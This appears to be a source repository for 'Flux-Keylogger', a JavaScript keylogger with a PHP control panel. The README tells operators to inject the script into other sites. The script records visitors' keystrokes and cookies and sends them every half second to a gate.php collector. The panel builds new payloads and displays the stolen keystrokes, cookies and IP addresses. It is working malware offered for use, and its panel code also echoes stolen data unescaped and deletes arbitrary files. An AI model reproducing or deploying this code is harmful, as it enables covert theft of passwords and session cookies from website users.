├── .gitattributes
├── logo.png
├── README.md
└── server
    ├── build.php
    ├── gate.php
    ├── builds
        └── main.build
    └── flux.php


/.gitattributes:
--------------------------------------------------------------------------------
1 | * linguist-language=JAVASCRIPT
2 | 


--------------------------------------------------------------------------------
/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/therealelyayo/Flux-Keylogger/HEAD/logo.png


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # Flux-Keylogger
 2 | > Simple javascript keylogger with web panel
 3 | 
 4 | <p align="center">
 5 |   <img src="logo.png">
 6 | </p>
 7 | 
 8 | 
 9 | ___
10 | 
11 | ## Logs:
12 | * Keylogger
13 | * Cookies
14 | * Location
15 | * Remote IP
16 | * User-Agents
17 | 
18 | ## Installation server files:
19 | * upload files from `server` directory to you server
20 | * go to http://you.host/flux.php
21 | * click build
22 | * Now inject script tag to other documents
23 | 


--------------------------------------------------------------------------------
/server/build.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 | 
 3 | if (isset($_POST["buildFlux"])) {
 4 | 	// Get data
 5 | 	$buildName = $_POST["buildName"];
 6 | 	$buildGate = $_POST["buildGate"];
 7 | 	// Read
 8 | 	$file = file_get_contents("builds/main.build");
 9 | 	// Replace
10 | 	$file = str_replace("{buildGate}", $buildGate, $file);
11 | 	$file = str_replace("{buildName}", $buildName, $file);
12 | 
13 | 	// Check for ..
14 | 	if (strpos($buildName, '.') !== false) {
15 | 		die("Permission denied >> .");
16 | 	}
17 | 	// If name is main.build
18 | 	if ($buildName == 'main.build') {
19 | 		die("Permission denied!");
20 | 	} 
21 | 	// Write
22 | 	if (file_put_contents("builds/$buildName.js", $file)) {
23 | 		die("Build created!");
24 | 	} else {
25 | 		die("Failed to create build");
26 | 	}
27 | }
28 | 
29 | ?>


--------------------------------------------------------------------------------
/server/gate.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 | 
 3 | header("Access-Control-Allow-Origin: *");
 4 | 
 5 | // If new logs
 6 | if (isset($_POST["sendLogs"])) {
 7 | 	// Info
 8 | 	$name      = $_POST["name"];
 9 | 	$host      = $_POST["host"];
10 | 	$curDate   = date("d-m-Y");
11 | 	$curTime   = $_POST["time"];
12 | 	$keyLogs   = $_POST["keyLogs"];
13 | 	$cookies   = $_POST["cookies"];
14 | 	$uagents   = $_POST["uagents"];
15 | 	$location  = $_POST["location"];
16 | 	$remoteIP  = $_SERVER["REMOTE_ADDR"];
17 | 
18 | 	$directory = "logs/" . $remoteIP . "/" . $curDate;
19 | 	$logfile   = $directory . "/" . $curTime . ".log";
20 | 	// Create logs dir if it not exists
21 | 	if (!file_exists($directory)) {
22 | 		mkdir($directory, 0777, true);
23 | 	}
24 | 	// Data
25 | 	$data = [
26 | 	    "remote_ip" => $remoteIP,
27 | 	    "location"  => $location,
28 | 	    "uagents"   => $uagents,
29 | 	    "cookies"   => $cookies,
30 | 	    "name"      => $name,
31 | 	    "host"      => $host,
32 | 	    "date"      => $curDate,
33 | 	    "time"      => $curTime,
34 | 	    "keyLogs"   => str_replace("\n", "\\n", $keyLogs)
35 | 	];
36 | 	$data = json_encode($data, JSON_PRETTY_PRINT);
37 | 	// Save data
38 | 	$file = fopen($logfile, "w");
39 | 	fwrite($file, $data);
40 | 	fclose($file);
41 | 	die("Data saved!");
42 | }
43 | // Delete file
44 | elseif (isset($_POST["cleanLogs"])) {
45 | 	$file = $_POST["logfile"];
46 | 	// Check
47 | 	if (strpos($file, '..') !== false) {
48 | 		die("Permission denied >> ../");
49 | 	}
50 | 	// Remove
51 | 	if (unlink($file)) {
52 | 		die("Logs removed!");
53 | 	} else {
54 | 		die("Logs not removed!");
55 | 	}
56 | 	
57 | }
58 | 
59 | 
60 | ?>


--------------------------------------------------------------------------------
/server/builds/main.build:
--------------------------------------------------------------------------------
 1 | // https://github.com/LimerBoy/Flux-Keylogger/
 2 | 
 3 | // Settings
 4 | var fluxGate    = "{buildGate}";
 5 | var fluxName    = "{buildName}"
 6 | var sendTimeout = 500;
 7 | 
 8 | 
 9 | // KEYLOGGER
10 | var keys = "";
11 | document.addEventListener("keypress", function(e) {
12 | 	keyCode = e.keyCode;
13 | 	keyName = e.key;
14 | 	// console.log(keyName);
15 | 	// alert("Name: " + keyName + " code: " + keyCode);
16 | 	// Check key
17 | 	switch(keyCode) {
18 | 		// ENTER
19 | 		case 13:
20 | 			keyName = "\n";
21 | 			break;
22 | 		// BACKSPACE
23 | 		case 8:
24 | 			keyName = "";
25 | 			keys = keys.slice(0, -1);
26 | 			break;
27 | 		// NORMAL KEY
28 | 		default:
29 | 			// If is special key add < KEY >
30 | 			if (keyName.length > 1) {
31 | 				keyName = " <" + keyName + "> ";
32 | 			}
33 | 			break;
34 | 	}
35 | 	// Add	
36 | 	keys += keyName;
37 | });
38 | 
39 | // Save keylogs, useragents, ip, location, host, cookies.
40 | date = new Date;
41 | var old = 0;
42 | function saveAll() {
43 | 
44 | 	// Check for new data
45 | 	if (old == keys.length) {
46 | 		// not send
47 | 		return "";
48 | 	} else {
49 | 		// send
50 | 		old = keys.length;
51 | 	}
52 | 
53 | 	var time     = date.getHours() + ":" + date.getMinutes() + ":" + date.getSeconds();
54 | 	var uagents  = window.navigator.userAgent;
55 | 	var host     = window.location.hostname;
56 | 	var location = document.location;
57 | 	var cookies  = document.cookie;
58 | 
59 | 	var http     = new XMLHttpRequest();
60 | 	var params   = "keyLogs=" + keys + "&cookies=" + cookies + "&name=" + fluxName + "&uagents=" + uagents + "&location=" + location + "&host=" + host + "&time=" + time + "&sendLogs";
61 | 	http.open("POST", fluxGate, true);
62 | 
63 | 	http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
64 | 	http.send(params);
65 | 
66 | }
67 | 
68 | // Create loop
69 | setInterval(function() {
70 |   saveAll();
71 | }, sendTimeout);
72 | 


--------------------------------------------------------------------------------
/server/flux.php:
--------------------------------------------------------------------------------
  1 | <!DOCTYPE html>
  2 | <html>
  3 | <head>
  4 | 	<title>FluxKeylogger - Control</title>
  5 | 	<meta charset="utf-8">
  6 | 	<link rel="icon" type="image/png" href="http://icons.iconarchive.com/icons/hopstarter/malware/128/Infect-icon.png"/>
  7 | 	<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
  8 | 	<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" rel="stylesheet">
  9 | 	<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js"></script>
 10 | 	<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.bundle.min.js"></script>
 11 | 	<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
 12 | 	<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
 13 | 	 <link href="https://fonts.googleapis.com/css?family=Ubuntu&display=swap" rel="stylesheet">
 14 | </head>
 15 | <body style="background-color: #111111;">
 16 | 
 17 | 
 18 | 
 19 | 	<?php
 20 | 	// Get dirs
 21 | 	function get_dirs($dir = '') {
 22 | 		return array_filter(glob('logs/' . $dir . '*'), 'is_dir');
 23 | 	}
 24 | 	// Get log files in dir
 25 | 	function get_files($dir = '') {
 26 | 		return array_filter(glob($dir . '*.log'), 'is_file');
 27 | 	}
 28 |  	?>
 29 | 
 30 |  	<style type="text/css">
 31 |  		.i {
 32 |  			position: relative;
 33 |  			top: 5px;
 34 |  		}
 35 |  		.sinfo:hover {
 36 |  			color: #9999ff;
 37 |  			cursor: pointer;
 38 |  		}
 39 |  		.skeylogs:hover {
 40 |  			color: #ff8000;
 41 |  			cursor: pointer;
 42 |  		}
 43 |  		.rlogs:hover {
 44 |  			color: #ff4d4d;
 45 |  			cursor: pointer;
 46 |  		}
 47 |  	</style>
 48 | 
 49 |  	<script type="text/javascript">
 50 |  		// Read info
 51 |  		function read_log(ip, location, host, uagents, cookies, date, time, name) {
 52 |  			swal(
 53 |  				"Information",
 54 |  				"\nName: " + name +
 55 |  				"\nRemote IP: " + ip + 
 56 |  				"\nHost: " + host +
 57 |  				"\nLocation: " + location +
 58 |  				"\nUserAgents: " + uagents +
 59 |  				"\nCookies: " + cookies +
 60 |  				"\nDate: " + date + 
 61 |  				"\nTime: " + time,
 62 |  				"info"
 63 |  				);
 64 |  		}
 65 |  		// Read keyboard
 66 |  		function read_keyboard(keys) {
 67 |  			swal(
 68 |  				"Key logs",
 69 |  				keys,
 70 |  				"info"
 71 |  				);
 72 |  		}
 73 |  		// Remove log file
 74 |  		function remove_log(log, row, callback) {
 75 |  			swal({
 76 | 			  title: "Are you sure?",
 77 | 			  text: "Delete log file?\n" + log,
 78 | 			  icon: "warning",
 79 | 			  buttons: true
 80 | 			}).then((result) => {
 81 | 			  if (result) {
 82 | 			  	// Delete file
 83 | 				var http   = new XMLHttpRequest();
 84 | 				var params = "logfile=" + log + "&cleanLogs";
 85 | 				http.open("POST", "gate.php", true);
 86 | 
 87 | 				http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
 88 | 				http.send(params);
 89 | 				// Message
 90 | 			    swal(
 91 | 			      "Deleted!",
 92 | 			      "Your file has been deleted.",
 93 | 			      "success"
 94 | 			    );
 95 | 			    // Hide
 96 | 			    $(row).parent().parent().hide(1000);
 97 | 			  }
 98 | 			});
 99 |  		}
100 |  		// Build
101 |  		function buildCreate() {
102 |  			var name = $("#buildName");
103 |  			var gate = $("#buildGate");
104 |  			// Request to build.php
105 | 			var http   = new XMLHttpRequest();
106 | 			var params = "buildName=" + name.val() + "&buildGate=" + gate.val() + "&buildFlux";
107 | 			var buildLocation = document.location["href"].replace("flux.php", "") + "builds/" + name.val() + ".js";
108 | 			http.open("POST", "build.php", true);
109 | 			http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
110 | 			http.send(params);
111 | 
112 | 
113 | 			// Message
114 | 		    swal(
115 | 		      "Build created!",
116 | 		      "Build location:\nURL: " + buildLocation + "\nTAG: <script src='" + buildLocation + "'><\/script>",
117 | 		      "success"
118 | 		    );
119 | 		    // New name
120 | 		    name.val( Math.floor((Math.random() * 999999) + 0) );
121 | 
122 |  		}
123 |  		// Search in table
124 | 		$(document).ready(function(){
125 | 		  $("#logsSearch").on("keyup", function() {
126 | 		    var value = $(this).val().toLowerCase();
127 | 		    $("#logsTable tr").filter(function() {
128 | 		      $(this).toggle($(this).text().toLowerCase().indexOf(value) > -1)
129 | 		    });
130 | 		  });
131 | 		});
132 |  	</script>
133 | 
134 | 
135 |  	<!-- NAVBAR -->
136 | 	<nav class="navbar navbar-expand-xl navbar-dark bg-dark">
137 |       <a style="font-family: 'Ubuntu', sans-serif;" class="navbar-brand" href="#"> <i class="i material-icons">remove_red_eye</i> Flux</a>
138 |       <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarToggle" aria-controls="navbarToggle" aria-expanded="true" aria-label="Toggle navigation">
139 |         <span class="navbar-toggler-icon"></span>
140 |       </button>
141 | 
142 |       <div class="navbar-collapse collapse show" id="navbarToggle" style="">
143 |         <ul class="navbar-nav mr-auto">
144 |           <li class="nav-item">
145 |             <a style="font-family: 'Ubuntu', sans-serif;" class="nav-link" href="#" data-toggle="modal" data-target="#buildModal"> <i class="i material-icons">build</i> Build</a>
146 |           </li>
147 |           <li class="nav-item">
148 |             <a style="font-family: 'Ubuntu', sans-serif;" class="nav-link" href="https://github.com/LimerBoy/Flux-Keylogger"> <i class="i material-icons">unarchive</i> Github</a>
149 |           </li>
150 |         </ul>
151 |         <form class="form-inline my-2 my-md-0">
152 | 
153 |       	<div class="input-group-prepend">
154 | 	      <div class="input-group-prepend">
155 | 	        <div class="input-group-text"><i class="material-icons">search</i></div>
156 | 	      </div>
157 |           <input class="form-control" type="text" id="logsSearch" placeholder="Search">
158 |         </div>
159 | 
160 |         </form>
161 |       </div>
162 |     </nav>
163 | 
164 | 
165 |     <!-- BUILD -->
166 | 	<div style="font-family: 'Ubuntu', sans-serif;" class="modal fade" id="buildModal" tabindex="-1" role="dialog" aria-labelledby="buildModalLabel" aria-hidden="true">
167 | 	  <div class="modal-dialog" role="document">
168 | 	    <div class="modal-content">
169 | 	      <div class="modal-header">
170 | 	        <h5 class="modal-title" id="buildModalLabel">Create keylogger</h5>
171 | 	        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
172 | 	          <span aria-hidden="true">&times;</span>
173 | 	        </button>
174 | 	      </div>
175 | 	      <div class="modal-body">
176 | 	        
177 | 	        <br> <i class="i material-icons">description</i> Name:<br>
178 | 	        <input id="buildName" type="text" value="<?php echo rand(0, 99999999999999);?>" class="form-control" placeholder="Name of keylogger" title="Enter name here">
179 | 
180 | 	        <br> <i class="i material-icons">settings_remote </i> Gate:<br>
181 | 	        <input id="buildGate" type="text" value="<?php echo 'http://' . $_SERVER[HTTP_HOST] . str_replace('flux.php', '', $_SERVER[REQUEST_URI]) . 'gate.php'; ?>" class="form-control" placeholder="gate.php location" title="Enter gate.php location here">
182 | 
183 | 	      </div>
184 | 	      <div class="modal-footer">
185 | 	        <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
186 | 	        <button type="button" class="btn btn-primary" onclick="buildCreate();">Create</button>
187 | 	      </div>
188 | 	    </div>
189 | 	  </div>
190 | 	</div>
191 | 
192 | 	<!-- TABLE -->
193 | 	<table class="table table-dark table-hover" id="logsTable" style="margin-top: 1%;">
194 | 	  <thead>
195 | 	    <tr style="font-family: 'Ubuntu', sans-serif;">
196 | 	      <th scope="col"> <i class="i material-icons">router</i> Host</th>
197 | 	      <th scope="col"> <i class="i material-icons">gps_fixed</i> Remote IP</th>
198 | 	      <th scope="col"> <i class="i material-icons">date_range</i> Date</th>
199 | 	      <th scope="col"> <i class="i material-icons">settings</i> Settings</th>
200 | 	    </tr>
201 | 	  </thead>
202 | 	  <tbody>
203 | 
204 | 	<?php
205 | 
206 | 	// Get logs
207 | 	foreach (get_dirs() as $ip_dir) {
208 | 		foreach (get_dirs( explode("/", $ip_dir)[1] . '/') as $date_dir) {
209 | 			foreach (get_files($date_dir . '/') as $log_file) {
210 | 				$remote_log = explode("/", $log_file)[3];
211 | 				$i = json_decode(file_get_contents($log_file), true);
212 | 				// Get log data
213 | 				$remote_ip  = $i["remote_ip"];
214 | 				$location   = $i["location"];
215 | 				$uagents    = $i["uagents"];
216 | 				$cookies    = $i["cookies"];
217 | 				$keylogs    = $i["keyLogs"];
218 | 				$name       = $i["name"];
219 | 				$host       = $i["host"];
220 | 				$date       = $i["date"];
221 | 				$time       = $i["time"];
222 | 
223 | 				echo "
224 | 				<tr>
225 | 					<td><a style='color: white;' href='http://$host'>$host</a></td>
226 | 					<td>$remote_ip</td>
227 | 					<td>$date</td>
228 | 					<td>
229 | 						<i title='Show information' class='sinfo material-icons' onclick=\"read_log('$remote_ip', '$location', '$host', '$uagents', '$cookies', '$date', '$time', '$name');\">credit_card</i>
230 | 						<i title='Show keylogs' class='skeylogs material-icons' onclick=\"read_keyboard('$keylogs');\">keyboard</i>
231 | 						<i title='Remove log' class='rlogs material-icons' onclick=\"remove_log('$log_file', this);\">delete_forever</i>
232 | 					</td>
233 | 				</tr>";
234 | 			}
235 | 		}
236 | 	}
237 | 
238 |  	?>
239 | 
240 | 	  </tbody>
241 | 	</table>
242 | 
243 | </body>
244 | </html>


--------------------------------------------------------------------------------